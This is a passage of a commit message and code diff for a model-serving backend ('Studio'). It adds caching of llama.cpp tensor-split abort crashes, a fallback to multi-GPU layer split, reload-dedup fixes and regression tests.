  the preserve_multi_gpu_on_layer hint now keys off _effective_tensor_parallel
  (the same check the fallback uses), comparing the overall request against the
  current attempt instead of only request.tensor_parallel.

- Cap the auto-context layer fallback to GPUs that can pay the per-device layer
  overhead. The cap counted any card with positive usable VRAM, so a nearly-full
  GPU with a few MiB free stayed eligible and could be exposed to llama.cpp and
  OOM. It now mirrors _select_gpus: a card counts only if usable VRAM exceeds the
  per-device pipeline overhead.

Adds deterministic non-GPU regression tests for both.

* Studio: match the #6415 split-axis assert + replay layer-preserve hint

Fifth review round on the vision/mmproj tensor-parallel fix:

- Narrow the tensor/mmproj crash signature. _is_tensor_split_assert matched any
  GGML_ASSERT/GGML_ABORT, so an unrelated invariant a corrupt GGUF or projector
  trips with --mmproj present could be cached as tensor/mmproj-incompatible. It
  now matches the specific #6415 warmup assertion
  (GGML_ASSERT(src_ss[0].axis != GGML_BACKEND_SPLIT_AXIS_0) in ggml-backend-meta),
  whose split-axis signature is inherent to tensor splitting. A reworded future
  assert just re-crashes-then-falls-back (vision preserved via layer split)
  instead of poisoning the cache for other models.

- Persist the layer-preserve hint for respawns. A successful tensor->layer
  fallback committed _last_load_kwargs without preserve_multi_gpu_on_layer, so
  _respawn_if_dead replayed only --split-mode layer + tensor_parallel=False and a
  mid-session respawn of a fits-on-one-card model came back single-GPU. The hint
  is now in the replay snapshot, so recovery keeps the multi-GPU placement.

Adds deterministic non-GPU regression tests for both.

* Studio: tighten comments on the vision tensor-parallel fix

Make the comments and docstrings added by this PR succinct: collapse the
multi-line block comments in llama_cpp.py / inference.py to one or two lines,
trim the verbose test docstrings (the names and assert messages already carry the
intent), and shorten the module docstring. No code changes; verified comment-only
with scripts/comment_tools.py check --strip-docstrings.

* Studio: cache vision tensor abort only on the split-axis token

_is_tensor_split_assert also accepted any GGML_ASSERT/GGML_ABORT from
ggml-backend-meta, but that file holds many asserts, so an unrelated
scheduler/projector/model invariant on an --mmproj launch could cache the binary
as tensor/mmproj-incompatible and make later compatible vision models skip tensor
parallelism. Match the GGML_BACKEND_SPLIT_AXIS_* token itself (unique to the
#6415 warmup assert), not the source file name.

* Studio: don't leak the httpx test stub into later tests

The regression module stubbed httpx via sys.modules.setdefault, which installs
the lightweight stub even when real httpx is present but not yet imported. The
stub then persists for the whole pytest process, so provider/HF tests collected
later (importing httpx or huggingface_hub.errors) got a module missing
HTTPError/Response. Mirror the neighboring llama_cpp helper tests: import real
httpx first and only fall back to a stub on ImportError.

* Studio: latch the #6415 tensor-split abort on the first spawn, key it per model

The self-heal recorded the --split-mode tensor abort only in the post-retry
failure block, after the flash-attn-off retry. But SPLIT_MODE_TENSOR requires
flash_attn, so the flash-off retry can't run tensor and its output no longer
carries the warmup split-axis assert (ggml-backend-meta :541). The record
therefore never fired on the real reproducer and the crash loop repeated on
every load (reported by oobabooga on #6659).

Latch instead on the first spawn that shows the signal crash + split-axis
marker: record it, kill the process, and raise straight to the route's layer
fallback, skipping the futile flash-attn/MTP retry ladder for this crash.

The crash is a tensor-split geometry limit (e.g. MQA n_head_kv=1 splitting to
GGML_BACKEND_SPLIT_AXIS_0), not a vision/mmproj property: it reproduces without
--mmproj and even single-GPU tensor. So drop the vision/mmproj scoping, rename
_vision_tensor_* -> _tensor_split_*, and key the session cache on
(binary, mtime, model) rather than (binary, mtime) so one model's abort no
longer skips tensor for every other model on the same build.

Regression tests updated to pin the early-spawn record, the per-model cache,
and that an unrelated ggml-backend-meta assert is not treated as the marker.

* Studio: reload on explicit tensor-off after a multi-GPU layer fallback

When a tensor load is downgraded to layer but kept multi-GPU to honor the
tensor request (preserve_multi_gpu_on_layer, the geometry-cache gate, or the
budget downgrade), the server reports tensor_parallel=False with --split-mode
layer stored. A later Apply that explicitly turns the tensor toggle off then
matched the loaded state and deduped to already_loaded, so Studio kept the
fallback's all-GPU CUDA_VISIBLE_DEVICES placement instead of re-selecting
normal placement (a single GPU for a model that fits on one card).

Latch a _layer_preserves_tensor_intent flag in load_model whenever a tensor
request is downgraded to layer with the multi-GPU floor raised
(_layer_min_gpus > 1), clear it when tensor stays on or on unload, and force a
reload in _request_matches_loaded_settings when the user explicitly turns the
tensor toggle off while that flag is set. An Apply that does not touch the
toggle still dedupes, so a working multi-GPU layer server is not churned.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: address reviewer.py findings on the tensor-split self-heal

P1 (dedup): tensor intent can be dropped via extras, not only the toggle. An
explicit llama_extra_args=["--split-mode", "layer"] matches the stored fallback
extras, so _request_matches_loaded_settings deduped to the preserved all-GPU
placement instead of reloading. Now reload when layer_preserves_tensor_intent
and the user explicitly drops tensor via the toggle OR via extras
(_effective_tensor_parallel of the explicit extras is false).

P1 (downgrade symmetry): the len(tp_gpus) < 2 compute-buffer downgrade cleared
tensor_parallel without raising _layer_min_gpus, unlike the budget and geometry
downgrades. GPUs below tensor's replicated compute-buffer reserve can still take
layer split's lower overhead, so keep the multi-GPU request (len(gpus) >= 2) and
let _select_gpus cap unusable cards.

P2 (cache key): key the tensor-split abort cache on st_mtime_ns, so a binary
replaced in place within the same second after an abort is re-probed instead of
inheriting the stale entry.

P2 (test hygiene): load routes/inference.py via importlib in the regression
tests instead of importing the routes package, which runs routes/__init__.py and
pulls in every router (e.g. python-multipart). Added regression coverage for the
extras-off reload, the compute-buffer multi-GPU preservation, and the same-second
nanosecond cache invalidation.

* Studio: record the tensor-split abort on the Windows CRT abort exit too

The first-spawn split-axis latch only recorded when _is_signal_crash matched
(POSIX signal or 0xC0000000+ NTSTATUS). On MSVC builds GGML_ASSERT terminates
through the CRT abort() path with exit code 3, which is neither, so the cache
never filled on Windows and every later load of the same bad binary/model
repeated the tensor crash before falling back to layer.

The split-axis marker is definitive, so accept either a signal crash or the
Windows abort() exit (3) when the marker is present. Add _is_abort_exit and a
unit test, and assert the early latch honors it.

* Studio: fix UnboundLocalError on --fit-on fallback, reload backend fast path

Two follow-ups from review on the tensor-split self-heal:

UnboundLocalError: _layer_min_gpus was initialized inside the GPU-selection try.
If NVML probing or GGUF/mmproj sizing raised, the except path logged "using
--fit on" and fell through to the command builder, where the new
self._layer_preserves_tensor_intent = _layer_min_gpus > 1 then raised, turning a
safe --fit-on layer fallback into a hard load failure. Bind _layer_min_gpus
before the try so the except path always has it.

Backend fast path: _request_matches_loaded_settings forces a reload when a
preserved tensor->layer fallback gets an explicit tensor-off request, but
load_model's own _already_in_target_state still matched the tensor-off/layer
settings and short-circuited, so the placement re-selection never ran. Mirror
the guard there: reload when layer_preserves_tensor_intent and the request drops
tensor intent. The flag clears on that reload, so there's no loop.

Added regression coverage for both.

* Studio: testable tensor-split record decision; skip futile fit-off retry

Follow-ups from a deeper review of the tensor-split self-heal:

Extract the record decision into _should_record_tensor_split_abort(rc, output)
(marker AND (signal crash OR Windows abort)) and call it from the early latch.
The combined boolean was only covered by source-inspection substring checks, so
an or->and typo would silently stop recording on Windows (CRT abort exit 3 is
not a signal) with every test still green. Add a behavioral test over the
POSIX / Windows / NTSTATUS / clean-exit / SIGKILL / no-marker matrix.

Skip the --fit off retry inside _spawn_and_wait when the crash already shows the
split-axis marker: that abort is fit-independent, so the retry just warms up and
crashes a second time before the latch records it. Skipping it lets the caller
latch immediately and corrects the latch comment.

Also clarify the dedup-guard comments (toggle read from model_fields_set vs
extras via _effective_tensor_parallel without env; the backend fast path is
intentionally broader and only ever forces a reload).

* Studio: don't reload-loop tensor-off requests under env tensor

The preserved-fallback reload guard fired on the raw tensor toggle, ignoring
LLAMA_ARG_SPLIT_MODE=tensor. For an env-driven tensor user, an explicit
tensor_parallel=false request then forced a reload that re-engaged tensor via
the env and re-created the same preserved layer fallback, so every /load
reloaded -- bypassing the env-downgrade matching that exists to avoid exactly
this loop.

Gate the guard on the env-aware effective tensor state: reload only when an
explicit toggle/extras change leaves _effective_tensor_parallel (which consults
the env) off. If the env still forces tensor, fall through to the existing
env-downgrade match, which dedupes instead of looping. Added a regression test
with LLAMA_ARG_SPLIT_MODE=tensor set.

* Studio: tighten comments and test docstrings on the TP self-heal

Condense the verbose comments and test docstrings added across the review rounds
into fewer, succinct lines without changing their intent: the early-latch and
downgrade-site rationale, the cache/key and helper docstrings, the dedup-guard
comments, and the per-test docstrings. No code changes (AST-verified comments
and docstrings only); tests and lint unchanged.

* Studio: clear preserved tensor flag on diffusion; carry it across non-drop reloads

Two follow-ups on the preserved-fallback machinery:

Diffusion: the DiffusionGemma path early-returns from load_model before the
command builder that sets/clears _layer_preserves_tensor_intent, so the flag
from a prior tensor->layer fallback leaked onto a later diffusion load and
forced needless reloads of the diffusion server on tensor-off/extra Applies.
Clear it when starting diffusion.

Settings reload: the preserve hint was recomputed only from the new request, so
a reload for an unrelated setting (e.g. max_seq_length) with the tensor toggle
omitted dropped a preserved multi-GPU layer placement back to one GPU. Carry
llama_backend.layer_preserves_tensor_intent into the hint when the request is
not an explicit tensor-off/extras-off drop, so a fitting model stays multi-GPU.

Added regression tests for the diffusion clear, the carry-forward, and the
updated tensor-intent computation.

* Studio: gate the preserve carry-forward on the same model being loaded

The tensor-intent carry-forward read llama_backend.layer_preserves_tensor_intent
without checking it belonged to the model being loaded. On a direct model switch
(load B without an explicit /unload of A), the flag is still set from A's
downgrade (it isn't reset until B's load_model reaches the command builder, after
the route reads it), so a plain load of B got preserve_multi_gpu_on_layer=True
and was spread across all GPUs even though it fits on one and the user never
requested tensor for it. The backend dedup doesn't have this leak (it checks
model_identifier first); the leak was only in the route hint.

Extract the decision into _carry_preserved_tensor_intent(preserved, same_model,
explicit_drop) and gate it on the backend still holding the same model. Add a
behavioral truth-table test (catches a `not` inversion and a missing same-model
guard) and tighten the compute-buffer downgrade test to bound its source window.

* Studio: match the HF quant too when carrying preserved tensor intent

The same-model guard on the preserve carry-forward compared only model_identifier,
which is variant-agnostic for HF repos. A later load of the same repo with a
different gguf_variant (which already bypassed dedupe on the variant mismatch)
was treated as the same model, so a request that omits tensor settings inherited
the prior variant's preserved intent and forced multi-GPU layer placement for a
quant that never requested tensor. Also require the loaded hf_variant to match for
HF repos (local direct-file loads already differ by model_identifier path). Added
a regression test for the variant guard.

* Studio: match the loaded GGUF by path too when carrying preserved tensor intent

A local directory holding multiple GGUF variants keeps one variant-agnostic
model_identifier (the directory) while config.gguf_file selects the file, so the
same-model guard let variant B inherit variant A's preserved tensor->layer
fallback and forced B onto multi-GPU. Mirror _already_in_target_state's identity
logic: match by resolved path when both sides have a local file, else by HF
variant. #6659

* Studio: let implicit same-settings reloads dedupe after a preserved fallback

The backend _already_in_target_state mirror forced a reload on ANY effective
tensor-off request once a tensor->layer fallback was preserved. In the HF
auto-pick / local-directory flows the route-level dedup is skipped, so an
identical /load with tensor omitted reached this guard and reloaded every time
even without an explicit drop. Thread the route's preserve_multi_gpu_on_layer
decision in so only an explicit drop reloads; implicit carry-forward dedupes. #6659

* Studio: only an explicit tensor/split-mode change drops preserved intent

The explicit-drop test treated request.llama_extra_args is not None as a drop,
so a same-model reload that merely added an unrelated pass-through arg (e.g.
--top-k 20) without touching the tensor field or --split-mode disabled the
carry-forward and collapsed a fitting model back to one GPU. A drop now requires
an explicit tensor_parallel field change or a non-tensor --split-mode override,
via a shared _is_explicit_tensor_drop helper used by both the already-loaded
dedup and the load carry-forward so the two readers agree. #6659

* Studio: treat an explicit clear of extras as a tensor drop

When tensor intent was extras-driven (--split-mode tensor) and fell back to a
preserved layer split, a later request that explicitly clears extras
(llama_extra_args=[]) but omits tensor_parallel left the empty list with no
split-mode override, so the carry-forward kept the model pinned multi-GPU instead
of returning to normal layer selection. _is_explicit_tensor_drop now also counts
an explicit empty-list clear as a drop, while an unrelated extra (--top-k) or
inherit (None) still carries the preserved intent. #6659

* Studio: don't treat the UI's tensor_parallel echo as a tensor drop

The Studio frontend always sends tensor_parallel and copies the /load response's
resolved value back into its state, so after a tensor->layer fallback every
ctx/settings reload carries tensor_parallel=false even though the user never
changed it. Keying the drop on the field (or on an empty extras clear) collapsed
the preserved multi-GPU placement on the next reload. A fallback also always
stores --split-mode layer, never a tensor split mode, so a clear never wipes
tensor intent. _is_explicit_tensor_drop now drops only on an explicit non-tensor
--split-mode override; the bare field echo, an empty clear, an unrelated extra,
and inherit all keep the preserved placement, and --split-mode tensor /
tensor_parallel=true re-engage tensor. #6659

* Studio: match the resolved config.identifier when carrying tensor intent

The same-model guard for the carry-forward compared the raw request id, but
ModelConfig.from_identifier normalizes it (adds the unsloth/ prefix for a
shorthand, fixes repo-id case) before load_model stores config.identifier. So a
ctx/settings reload using the shorthand id missed the match, dropped
_carry_preserved_tensor_intent, and could collapse a preserved multi-GPU layer
placement to one GPU. Compare against config.identifier (what the backend stores),
keeping it symmetric with _already_in_target_state. #6659

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py    | 203 ++++-
 studio/backend/routes/inference.py            |  85 ++
 .../tests/test_tp_vision_regression.py        | 805 ++++++++++++++++++
 3 files changed, 1073 insertions(+), 20 deletions(-)
 create mode 100644 studio/backend/tests/test_tp_vision_regression.py

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 31969afb14..8ec11fa79f 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -1271,6 +1271,9 @@ class LlamaCppBackend:
         self._cache_type_kv: Optional[str] = None
         # Whether --split-mode tensor was applied on the active load.
         self._tensor_parallel: bool = False
+        # Layer load kept multi-GPU only to honor a downgraded tensor request, so a
+        # later explicit tensor-off reloads instead of deduping to it (#6659).
+        self._layer_preserves_tensor_intent: bool = False
         self._reasoning_default: bool = True
         self._speculative_type: Optional[str] = None
         # Canonical UI-facing mode the user requested
@@ -1643,6 +1646,11 @@ class LlamaCppBackend:
         """Whether --split-mode tensor is active on the loaded server."""
         return self._tensor_parallel
 
+    @property
+    def layer_preserves_tensor_intent(self) -> bool:
+        """True when a downgraded tensor request kept this layer load multi-GPU."""
+        return self._layer_preserves_tensor_intent
+
     @property
     def speculative_type(self) -> Optional[str]:
         return self._speculative_type
@@ -2430,6 +2438,37 @@ class LlamaCppBackend:
     # aborts a --split-mode tensor load, so it's dropped for the tensor attempt.
     _TENSOR_PARALLEL_KV_TYPES = frozenset({"f16", "bf16", "f32"})
 
+    # (binary, mtime, model) that aborted on --split-mode tensor this process (#6415
+    # geometry limit, e.g. MQA n_head_kv=1). Model-keyed so one model's abort doesn't
+    # skip tensor for others; tensor is tried by default, recorded only on a real abort.
+    _tensor_split_abort_keys: set[tuple[str, int, str]] = set()
+
+    @classmethod
+    def _tensor_split_cache_key(
+        cls, binary: Optional[str], model: Optional[str]
+    ) -> Optional[tuple[str, int, str]]:
+        """(path, mtime_ns, model) key; ns mtime re-probes a same-second binary swap."""
+        if not binary or not model:
+            return None
+        try:
+            mtime = Path(binary).stat().st_mtime_ns
+        except OSError:
+            mtime = 0
+        return (binary, mtime, model)
+
+    @classmethod
+    def _tensor_split_aborts(cls, binary: Optional[str], model: Optional[str]) -> bool:
+        """True if (binary, model) aborted on --split-mode tensor this session."""
+        key = cls._tensor_split_cache_key(binary, model)
+        return key is not None and key in cls._tensor_split_abort_keys
+
+    @classmethod
+    def _record_tensor_split_abort(cls, binary: Optional[str], model: Optional[str]) -> None:
+        """Remember a (binary, model) that aborts on --split-mode tensor."""
+        key = cls._tensor_split_cache_key(binary, model)
+        if key is not None:
+            cls._tensor_split_abort_keys.add(key)
+
     @staticmethod
     def _windows_pip_nvidia_dll_dirs(prefix: str) -> list[str]:
         """Return DLL dirs from pip-installed CUDA wheels under
@@ -2569,9 +2608,13 @@ class LlamaCppBackend:
         usable_fraction: Optional[float] = None,
         total_by_idx: Optional[dict[int, int]] = None,
         per_device_overhead_bytes: int = 0,
+        min_gpus: int = 1,
     ) -> tuple[Optional[list[int]], bool]:
         """Pick GPU(s) for a model from estimated VRAM and free memory.
 
+        ``min_gpus`` (default 1, capped at ``len(gpus)``) keeps a downgraded
+        tensor/multi-GPU request spread instead of collapsing to one card.
+
         ``model_size_bytes`` should include weights and estimated KV cache.
         ``usable_fraction`` (default ``_GPU_PIN_VRAM_FRACTION``) provides
         headroom for compute buffers, CUDA context, and other runtime
@@ -2590,9 +2633,11 @@ class LlamaCppBackend:
         if not gpus:
             return None, True
 
+        min_gpus = max(1, min(min_gpus, len(gpus)))
         model_size_mib = model_size_bytes / (1024 * 1024)
         if usable_fraction is None:
             usable_fraction = LlamaCppBackend._GPU_PIN_VRAM_FRACTION
+        overhead_mib = per_device_overhead_bytes / (1024 * 1024)
 
         # Per-GPU usable budget: free - (1-frac)*total when total is known, else
         # the legacy free*frac (also covers a total-0 two-column probe).
@@ -2606,19 +2651,26 @@ class LlamaCppBackend:
         # card can have less usable room than a less-used small one.
         ranked = sorted(gpus, key = lambda g: _usable(g[0], g[1]), reverse = True)
 
-        # Try 1 GPU at the usable-VRAM threshold.
-        if _usable(ranked[0][0], ranked[0][1]) >= model_size_mib:
+        # Cap a downgraded multi-GPU request to the usable count so it doesn't pull
+        # in a near-full card to hit min_gpus. No-op for the default min_gpus == 1.
+        usable_count = sum(1 for idx, free_mib in ranked if _usable(idx, free_mib) > overhead_mib)
+        min_gpus = max(1, min(min_gpus, usable_count or 1))
+
+        # Try 1 GPU at the usable-VRAM threshold (only when one device is allowed).
+        if min_gpus <= 1 and _usable(ranked[0][0], ranked[0][1]) >= model_size_mib:
             return [ranked[0][0]], False
 
-        # Try N GPUs (accumulate usable memory from most-free). Each GPU past the
-        # first adds a fixed per-device overhead the pool must hold.
-        overhead_mib = per_device_overhead_bytes / (1024 * 1024)
+        # Try N GPUs (most-free first); each past the first adds per-device overhead.
+        # Require at least min_gpus devices before accepting a fit.
         cumulative = 0.0
         selected = []
         for idx, free_mib in ranked:
             selected.append(idx)
             cumulative += _usable(idx, free_mib)
-            if cumulative >= model_size_mib + (len(selected) - 1) * overhead_mib:
+            if (
+                len(selected) >= min_gpus
+                and cumulative >= model_size_mib + (len(selected) - 1) * overhead_mib
+            ):
                 return sorted(selected), False
 
         # Too large even for all GPUs; let --fit handle it
@@ -3868,7 +3920,7 @@ class LlamaCppBackend:
                     logger.debug(f"Could not list repo files for {label}: {e}")
                     break
                 logger.debug(
-                    f"Could not list repo files for {label} " f"(attempt {attempt + 1}/3): {e}"
+                    f"Could not list repo files for {label} (attempt {attempt + 1}/3): {e}"
                 )
                 if attempt < 2:
                     self._cancel_event.wait(2**attempt)
@@ -4332,6 +4384,17 @@ class LlamaCppBackend:
             )
         )
 
+    @staticmethod
+    def _is_tensor_split_assert(output: str) -> bool:
+        """True only for the #6415 split-axis warmup assert (GGML_BACKEND_SPLIT_AXIS_*),
+        not any ggml assert/abort, so an unrelated invariant isn't cached. stderr is
+        merged into output."""
+        text = (output or "").lower()
+        if "ggml_assert" not in text and "ggml_abort" not in text:
+            return False
+        # the split-axis enum token, unique to this assert (not the source file).
+        return "split_axis" in text
+
     @staticmethod
     def _is_signal_crash(returncode: Optional[int]) -> bool:
         """True only on a hard fault (SIGSEGV/SIGABRT/SIGILL/SIGFPE/SIGBUS or a
@@ -4344,6 +4407,20 @@ class LlamaCppBackend:
             return True
         return -returncode in (4, 6, 7, 8, 11)  # SIGILL SIGABRT SIGBUS SIGFPE SIGSEGV
 
+    @staticmethod
+    def _is_abort_exit(returncode: Optional[int]) -> bool:
+        """Windows CRT abort() exit code (3) from GGML_ASSERT on MSVC -- not a POSIX
+        signal or 0xC0000000+ NTSTATUS."""
+        return returncode == 3
+
+    @classmethod
+    def _should_record_tensor_split_abort(cls, returncode: Optional[int], output: str) -> bool:
+        """The #6415 split-axis abort: the marker plus a hard crash (POSIX signal or
+        Windows abort exit). Marker required so a generic crash isn't cached."""
+        return cls._is_tensor_split_assert(output) and (
+            cls._is_signal_crash(returncode) or cls._is_abort_exit(returncode)
+        )
+
     @staticmethod
     def _with_flash_attn_off(cmd: list[str]) -> Optional[list[str]]:
         """Return cmd with flash attention forced off, or None when its effective
@@ -4488,6 +4565,8 @@ class LlamaCppBackend:
         n_gpu_layers: Optional[int] = None,  # caller compat, unused
         n_parallel: int = 1,
         extra_args: Optional[List[str]] = None,
+        # Route-level tensor->layer fallback retry: keep the layer split multi-GPU.
+        preserve_multi_gpu_on_layer: bool = False,
     ) -> bool:
         """Start llama-server with a GGUF model.
 
@@ -4518,6 +4597,8 @@ class LlamaCppBackend:
             "n_gpu_layers": n_gpu_layers,
             "n_parallel": n_parallel,
             "extra_args": list(extra_args) if extra_args is not None else None,
+            # Replayed by _respawn_if_dead so a downgraded model stays multi-GPU.
+            "preserve_multi_gpu_on_layer": preserve_multi_gpu_on_layer,
         }
         # Serialise the whole load so concurrent /load calls never leave two
         # llama-server processes alive (#5401 / #5161). Doesn't block /unload.
@@ -4541,6 +4622,7 @@ class LlamaCppBackend:
                 chat_template_override = chat_template_override,
                 extra_args = extra_args,
                 is_vision = is_vision,
+                preserve_multi_gpu_on_layer = preserve_multi_gpu_on_layer,
             ):
                 logger.info(
                     f"load_model: backend already in target state for "
@@ -4626,6 +4708,9 @@ class LlamaCppBackend:
             # Block-diffusion GGUFs (DiffusionGemma) cannot run on llama-server;
             # serve them with the diffusion runner (same OpenAI-compat interface).
             if self._is_diffusion:
+                # Not a tensor/layer GGUF: clear any preserved-fallback flag from a
+                # prior load (this path skips the command builder that clears it).
+                self._layer_preserves_tensor_intent = False
                 with self._lock:
                     if self._cancel_event.is_set():
                         logger.info("Load cancelled before diffusion server start")
@@ -4780,6 +4865,9 @@ class LlamaCppBackend:
                         "image input will be disabled for this session"
                     )
                 model_size = None  # set in the fit try; used by the APU RAM guard
+                # Layer-fallback min GPUs; raised below on a tensor downgrade. Bound
+                # before the try so the --fit-on except path still has it (no UnboundLocal).
+                _layer_min_gpus = 1
                 try:
                     gguf_size = self._get_gguf_size_bytes(model_path)
                     # Include GPU-loaded mmproj in the fit budget (#5825).
@@ -5064,10 +5152,8 @@ class LlamaCppBackend:
                     _apple_budget_mib = self._apple_metal_memory_budget_bytes() // (1024 * 1024)
 
                     def _restore_after_tensor_downgrade():
-                        # Tensor mode dropped a quantized KV and stripped the cache
-                        # extras (it rejects quantized); layer split supports them, so
-                        # restore the original type + extras (minus --split-mode) and
-                        # clear the env flag so the layer launch re-emits them.
+                        # Restore the quantized KV + extras tensor dropped (layer
+                        # split supports them), minus --split-mode.
                         nonlocal cache_type_kv, _cache_type_from_env, extra_args
                         if _tensor_dropped_cache_type_kv is not None:
                             cache_type_kv = _tensor_dropped_cache_type_kv
@@ -5078,13 +5164,22 @@ class LlamaCppBackend:
                             else extra_args
                         )
 
-                    if tensor_parallel and effective_is_vision:
+                    # The route fallback retry is tensor-off; keep it multi-GPU.
+                    if preserve_multi_gpu_on_layer:
+                        _layer_min_gpus = max(_layer_min_gpus, len(gpus))
+
+                    if tensor_parallel and self._tensor_split_aborts(binary, model_identifier):
+                        # Aborted on tensor for this model this session (#6415); skip
+                        # tensor upfront, layer split serves it.
                         logger.info(
-                            "Tensor parallelism skipped for vision model: "
-                            "--split-mode tensor is incompatible with --mmproj "
-                            "in the current llama.cpp build; using layer split."
+                            "Tensor parallelism skipped: this llama.cpp build aborted "
+                            "on --split-mode tensor for this model earlier this "
+                            "session; using layer split across %d GPU(s).",
+                            len(gpus),
                         )
                         tensor_parallel = False
+                        # Keep the multi-GPU request (gated on it, not the cache).
+                        _layer_min_gpus = max(_layer_min_gpus, len(gpus))
                         _restore_after_tensor_downgrade()
 
                     # Tensor mode replicates a compute buffer on every GPU, so drop
@@ -5124,6 +5219,11 @@ class LlamaCppBackend:
                             len(gpus),
                         )
                         tensor_parallel = False
+                        # GPUs below tensor's compute-buffer reserve can still do layer
+                        # split, so keep multi-GPU (mirrors the budget/geometry drops);
+                        # _select_gpus caps unusable cards.
+                        if len(gpus) >= 2:
+                            _layer_min_gpus = max(_layer_min_gpus, len(gpus))
                         # Layer split supports a quantized KV the tensor attempt
                         # dropped; restore the original cache type + extras (minus
                         # --split-mode) so the layer launch re-emits them.
@@ -5160,8 +5260,12 @@ class LlamaCppBackend:
                                 "per-device compute buffers; falling back to layer split."
                             )
                             tensor_parallel = False
-                            # Restore the dropped quantized KV + original cache extras
-                            # (minus --split-mode); layer split supports them.
+                            # Weights needed >1 card, so keep multi-GPU across the
+                            # usable tensor GPUs.
+                            if len(tp_gpus) >= 2:
+                                _layer_min_gpus = max(_layer_min_gpus, len(tp_gpus))
+                            # Restore the dropped quantized KV + cache extras (minus
+                            # --split-mode); layer split supports them.
                             _restore_after_tensor_downgrade()
 
                     if tensor_parallel and tp_gpus:
@@ -5263,6 +5367,7 @@ class LlamaCppBackend:
                                 usable_fraction = _pin_fraction,
                                 total_by_idx = total_by_idx,
                                 per_device_overhead_bytes = _pipeline_overhead_bytes,
+                                min_gpus = _layer_min_gpus,
                             )
                             # No silent shrink: effective_ctx stays == requested_ctx.
                         else:
@@ -5273,7 +5378,22 @@ class LlamaCppBackend:
                             ranked = sorted(
                                 gpus, key = lambda g: _gpu_usable(g, pin_fraction), reverse = True
                             )
-                            for n_gpus in range(1, len(ranked) + 1):
+                            # Skips _select_gpus, so apply its cap: count only cards
+                            # whose usable VRAM clears the per-device layer overhead.
+                            _pipeline_overhead_mib = _pipeline_overhead_bytes / (1024 * 1024)
+                            _auto_min_gpus = max(
+                                1,
+                                min(
+                                    _layer_min_gpus,
+                                    sum(
+                                        1
+                                        for g in ranked
+                                        if _gpu_usable(g, pin_fraction) > _pipeline_overhead_mib
+                                    )
+                                    or 1,
+                                ),
+                            )
+                            for n_gpus in range(_auto_min_gpus, len(ranked) + 1):
                                 subset = ranked[:n_gpus]
                                 pool_budget = _pool_budget_mib(subset, pin_fraction)
                                 _ms = _subset_model_size(n_gpus)
@@ -5303,7 +5423,7 @@ class LlamaCppBackend:
                                 # at 131k may pin fine with a 4096 KV (#5106).
                                 effective_ctx = min(4096, effective_ctx)
                                 if effective_ctx > 0:
-                                    for n_gpus in range(1, len(ranked) + 1):
+                                    for n_gpus in range(_auto_min_gpus, len(ranked) + 1):
                                         subset = ranked[:n_gpus]
                                         kv = self._estimate_kv_cache_bytes(
                                             effective_ctx,
@@ -5339,6 +5459,7 @@ class LlamaCppBackend:
                             usable_fraction = _pin_fraction,
                             total_by_idx = total_by_idx,
                             per_device_overhead_bytes = _pipeline_overhead_bytes,
+                            min_gpus = _layer_min_gpus,
                         )
                         if use_fit and not explicit_ctx:
                             # Weights don't fit on any subset; default UI to 4096
@@ -5578,12 +5699,15 @@ class LlamaCppBackend:
                             ]
                         )
                     self._tensor_parallel = True
+                    self._layer_preserves_tensor_intent = False
                     logger.info(
                         "Tensor parallelism: --split-mode tensor, --tensor-split %s",
                         tp_tensor_split,
                     )
                 else:
                     self._tensor_parallel = False
+                    # > 1 only when a tensor request was downgraded but kept multi-GPU.
+                    self._layer_preserves_tensor_intent = _layer_min_gpus > 1
 
                 # Speculative decoding. See _build_speculative_flags for the
                 # mode resolution, benchmarks, and llama.cpp references.
@@ -5867,7 +5991,17 @@ class LlamaCppBackend:
                         _startup_crashed = (
                             self._process.poll() is not None and self._process.returncode != 0
                         )
-                        if _spawn_attempt == 0 and _fit_retry_allowed and _startup_crashed:
+                        # A split-axis abort (#6415) is fit-independent: skip the
+                        # --fit off retry and let the caller latch it.
+                        _split_axis_crash = self._is_tensor_split_assert(
+                            "\n".join(self._stdout_lines[-50:])
+                        )
+                        if (
+                            _spawn_attempt == 0
+                            and _fit_retry_allowed
+                            and _startup_crashed
+                            and not _split_axis_crash
+                        ):
                             logger.warning(
                                 "llama-server crashed during startup (exit code %s) "
                                 "with the default memory-fit step enabled; Studio "
@@ -5913,6 +6047,21 @@ class LlamaCppBackend:
                 )
 
                 healthy = _spawn_and_wait(cmd)
+                # #6415 split-mode tensor warmup abort. Latch it on THIS first spawn:
+                # the flash-attn-off retry below can't run tensor (needs flash_attn),
+                # so its output drops the marker and recording later would miss it,
+                # looping every load. Record and raise to the route's layer fallback,
+                # skipping the futile flash-attn/MTP retries.
+                if not healthy and self._tensor_parallel and not self._cancel_event.is_set():
+                    _ts_out = "\n".join(self._stdout_lines[-50:])
+                    _ts_rc = self._process.poll() if self._process is not None else None
+                    if self._should_record_tensor_split_abort(_ts_rc, _ts_out):
+                        LlamaCppBackend._record_tensor_split_abort(binary, model_identifier)
+                        self._kill_process()
+                        raise RuntimeError(
+                            "llama-server aborted on --split-mode tensor "
+                            "(split-axis geometry); retrying with layer split."
+                        )
                 # Flash-attention kernels hard-crash at startup on some ROCm/GPU
                 # builds (frequently inside the vision tower). Disabling FA keeps
                 # both vision and MTP, so retry that way before dropping either.
@@ -6057,6 +6206,7 @@ class LlamaCppBackend:
                     # Read the crash code before _kill_process() clears _process.
                     _crash_rc = self._process.poll() if self._process is not None else None
                     self._kill_process()
+                    # The #6415 split-axis abort is latched earlier (first spawn).
                     # Skip if a cancel/unload is pending (mirrors the MTP guard).
                     if (
                         launched_with_mmproj
@@ -6488,6 +6638,7 @@ class LlamaCppBackend:
         spec_draft_n_max: Optional[int] = None,
         tensor_parallel: bool = False,
         mtp_draft_path: Optional[str] = None,
+        preserve_multi_gpu_on_layer: bool = False,
     ) -> bool:
         """True iff the live server already satisfies these load kwargs.
 
@@ -6530,6 +6681,17 @@ class LlamaCppBackend:
         # server. An identical request would downgrade the same way.
         if not _tensor_parallel_matches_loaded(extra_args, tensor_parallel, self._tensor_parallel):
             return False
+        # Preserved tensor->layer fallback + an EXPLICIT tensor drop: reload so
+        # placement re-selects instead of keeping the all-GPU mask (mirrors the route,
